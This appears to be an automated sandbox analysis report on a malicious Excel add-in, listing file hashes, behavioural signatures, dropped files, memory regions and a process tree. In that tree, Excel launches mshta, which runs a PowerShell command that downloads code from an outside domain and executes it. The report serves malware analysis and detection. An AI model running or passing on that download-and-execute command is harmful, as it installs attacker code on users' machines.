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Analysis

  • max time kernel
    106s
  • max time network
    129s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22/05/2024, 18:49

General

  • Target

    9724b04196328c93c6471346298c8c3f7df8a4f7f1dcfcabd8069aa3239aed97.xll

  • Size

    12KB

  • MD5

    ba57d3d2b83ae6eee6b9ae4ac5a096eb

  • SHA1

    caed869a41956f6c0c435c548bfa56e811be27be

  • SHA256

    9724b04196328c93c6471346298c8c3f7df8a4f7f1dcfcabd8069aa3239aed97

  • SHA512

    7f7b4e76091af53c6a69ff1f448adc94391b16dfcbdbe3472f28e3cdea2cbfe480f748b1ea52a91816aed338be2a5c9efaf5af1e5356f929a9c331d37c860aa6

  • SSDEEP

    192:7L29RBzDzeobchBj8JONVONSY74rusVrEPEjr7AhS:n29jnbcvYJOSx7Aucvr7CS

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9724b04196328c93c6471346298c8c3f7df8a4f7f1dcfcabd8069aa3239aed97.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:660
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1364

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\0MYNE8JM\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\9724b04196328c93c6471346298c8c3f7df8a4f7f1dcfcabd8069aa3239aed97.xll

    Filesize

    12KB

    MD5

    ba57d3d2b83ae6eee6b9ae4ac5a096eb

    SHA1

    caed869a41956f6c0c435c548bfa56e811be27be

    SHA256

    9724b04196328c93c6471346298c8c3f7df8a4f7f1dcfcabd8069aa3239aed97

    SHA512

    7f7b4e76091af53c6a69ff1f448adc94391b16dfcbdbe3472f28e3cdea2cbfe480f748b1ea52a91816aed338be2a5c9efaf5af1e5356f929a9c331d37c860aa6

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tyiblqtk.4g0.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/660-10-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-17-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-5-0x00007FF7D6530000-0x00007FF7D6540000-memory.dmp

    Filesize

    64KB

  • memory/660-7-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-9-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-11-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-12-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-0-0x00007FF7D6530000-0x00007FF7D6540000-memory.dmp

    Filesize

    64KB

  • memory/660-13-0x00007FF7D3990000-0x00007FF7D39A0000-memory.dmp

    Filesize

    64KB

  • memory/660-8-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-6-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-15-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-16-0x00007FF7D3990000-0x00007FF7D39A0000-memory.dmp

    Filesize

    64KB

  • memory/660-14-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-19-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-18-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-21-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-22-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-3-0x00007FF816543000-0x00007FF816544000-memory.dmp

    Filesize

    4KB

  • memory/660-20-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-87-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-1-0x00007FF7D6530000-0x00007FF7D6540000-memory.dmp

    Filesize

    64KB

  • memory/660-85-0x00007FF7D6530000-0x00007FF7D6540000-memory.dmp

    Filesize

    64KB

  • memory/660-86-0x00007FF7D6530000-0x00007FF7D6540000-memory.dmp

    Filesize

    64KB

  • memory/660-84-0x00007FF7D6530000-0x00007FF7D6540000-memory.dmp

    Filesize

    64KB

  • memory/660-4-0x00007FF7D6530000-0x00007FF7D6540000-memory.dmp

    Filesize

    64KB

  • memory/660-83-0x00007FF7D6530000-0x00007FF7D6540000-memory.dmp

    Filesize

    64KB

  • memory/660-2-0x00007FF7D6530000-0x00007FF7D6540000-memory.dmp

    Filesize

    64KB

  • memory/660-67-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/660-65-0x00007FF8164A0000-0x00007FF8166A9000-memory.dmp

    Filesize

    2.0MB

  • memory/1364-57-0x0000000006470000-0x00000000064BC000-memory.dmp

    Filesize

    304KB

  • memory/1364-59-0x0000000006960000-0x000000000697A000-memory.dmp

    Filesize

    104KB

  • memory/1364-58-0x0000000007A80000-0x00000000080FA000-memory.dmp

    Filesize

    6.5MB

  • memory/1364-56-0x0000000006440000-0x000000000645E000-memory.dmp

    Filesize

    120KB

  • memory/1364-55-0x0000000005F60000-0x00000000062B7000-memory.dmp

    Filesize

    3.3MB

  • memory/1364-46-0x0000000005EF0000-0x0000000005F56000-memory.dmp

    Filesize

    408KB

  • memory/1364-44-0x00000000055B0000-0x00000000055D2000-memory.dmp

    Filesize

    136KB

  • memory/1364-43-0x00000000056E0000-0x0000000005D0A000-memory.dmp

    Filesize

    6.2MB

  • memory/1364-42-0x0000000002F80000-0x0000000002FB6000-memory.dmp

    Filesize

    216KB

  • memory/1364-45-0x0000000005E80000-0x0000000005EE6000-memory.dmp

    Filesize

    408KB